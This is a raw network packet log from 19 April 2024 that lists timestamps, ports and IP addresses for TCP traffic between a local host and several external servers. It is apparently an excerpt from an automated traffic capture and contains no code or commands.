Apr 19, 2024 01:33:26.901506901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:26.943025112 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.101125002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101161003 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101167917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101174116 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101193905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101212025 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101228952 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101247072 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.101247072 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.101249933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101255894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101274014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101288080 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.101295948 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.101345062 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.146115065 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267503023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267529011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267545938 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267563105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267580986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267599106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267616034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267628908 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267628908 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267636061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267648935 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267687082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267704964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267704964 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267723083 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267740011 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267757893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.267781973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.267781973 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.317989111 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.467660904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467725039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467762947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467804909 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467830896 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.467843056 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467881918 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467919111 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467925072 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.467925072 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.467957020 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.467997074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.468120098 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.468162060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.803440094 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803457975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803474903 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803493977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803510904 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803514004 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.803529024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803544998 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.803560972 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.803580999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.903752089 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903781891 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903804064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903846979 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.903892040 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903927088 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903935909 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.903944969 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903960943 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903980017 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.903985023 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.903997898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.904010057 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.904016018 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.904042959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.904057026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.904062033 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.904074907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:27.904124022 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:27.958600998 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.103519917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103540897 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103558064 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103574991 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103591919 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103610039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103627920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103631020 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.103646994 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103663921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103668928 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.103683949 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103702068 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103708029 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.103719950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103729963 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.103739023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.103768110 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.146126986 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.303385973 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303461075 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303481102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303498983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303515911 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303538084 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303548098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303554058 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303561926 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303567886 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303577900 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303594112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303613901 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.303666115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.303666115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.303666115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.303666115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.349236965 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.504514933 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504538059 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504555941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504573107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504597902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504611015 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.504616022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504632950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.504652977 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.504666090 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.508670092 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:28.513067007 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:28.787039995 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:28.834999084 CEST	8379	49728	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:28.836833000 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:28.836939096 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:28.842910051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:28.844825983 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:29.109071016 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.109184027 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.109369993 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.159276009 CEST	8379	49728	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:29.159568071 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:29.431329966 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432343006 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432363033 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432409048 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432427883 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432430029 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.432445049 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432462931 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432473898 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.432482004 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.432503939 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.474240065 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.481781006 CEST	8379	49728	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:29.484133005 CEST	8379	49728	8.212.47.137	192.168.2.6
Apr 19, 2024 01:33:29.531908989 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.531935930 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.531955004 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.532021046 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.536791086 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:29.693186998 CEST	49728	8379	192.168.2.6	8.212.47.137
Apr 19, 2024 01:33:29.754488945 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754571915 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754612923 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754631042 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.754652977 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754690886 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754717112 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.754730940 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754770994 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754781008 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.754810095 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754849911 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.754862070 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754899979 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754936934 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.754956007 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.754976034 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.755028963 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.795707941 CEST	49730	28012	192.168.2.6	47.108.224.157
Apr 19, 2024 01:33:29.796248913 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.796300888 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.796345949 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.854031086 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854110003 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854146957 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854156017 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.854183912 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854221106 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854231119 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:29.854264021 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:29.854306936 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.076884031 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.076961040 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.076978922 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.076997995 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.076997042 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077019930 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077039003 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077058077 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077061892 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077075958 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077096939 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077105999 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077117920 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077122927 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077141047 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077157974 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077162027 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077188015 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077203035 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077208996 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077225924 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077243090 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.077245951 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.077286005 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133009911 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133030891 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133049011 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133069038 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133070946 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133088112 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133111000 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133116007 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133133888 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133151054 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133168936 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133169889 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133187056 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133197069 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133205891 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133225918 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.133253098 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.133279085 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.176014900 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.224235058 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.333430052 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333462000 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333479881 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333498001 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333518028 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333538055 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333558083 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333575964 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333595991 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333615065 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.333681107 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.333681107 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.333681107 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.399013996 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.399064064 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.399104118 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.399148941 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.443084955 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533047915 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533071041 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533130884 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533201933 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533221960 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533241034 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533258915 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533263922 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533277035 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533298969 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533318043 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533322096 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533338070 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533345938 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533355951 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533375978 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533381939 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.533397913 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.533437967 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.733949900 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.733979940 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.733999968 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.734056950 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767096996 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767164946 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767205000 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767246008 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767287970 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767324924 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767375946 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767375946 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767398119 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767438889 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767476082 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767518044 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767555952 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767592907 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767633915 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.767649889 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767649889 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767649889 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767651081 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.767863035 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.786911011 CEST	49730	28012	192.168.2.6	47.108.224.157
Apr 19, 2024 01:33:30.969285011 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.969316959 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.969335079 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.969352961 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.969372988 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:30.969542027 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.969542027 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:30.993462086 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.316812038 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.316879988 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.316920996 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.316961050 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.317007065 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.317023039 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.317065001 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.317116976 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.317116976 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.317116976 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.364939928 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416205883 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416266918 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416309118 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416330099 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416347980 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416387081 CEST	9187	49729	8.212.54.142	192.168.2.6
Apr 19, 2024 01:33:31.416403055 CEST	49729	9187	192.168.2.6	8.212.54.142
Apr 19, 2024 01:33:31.416424990 CEST	9187	49729	8.212.54.142	192.168.2.6
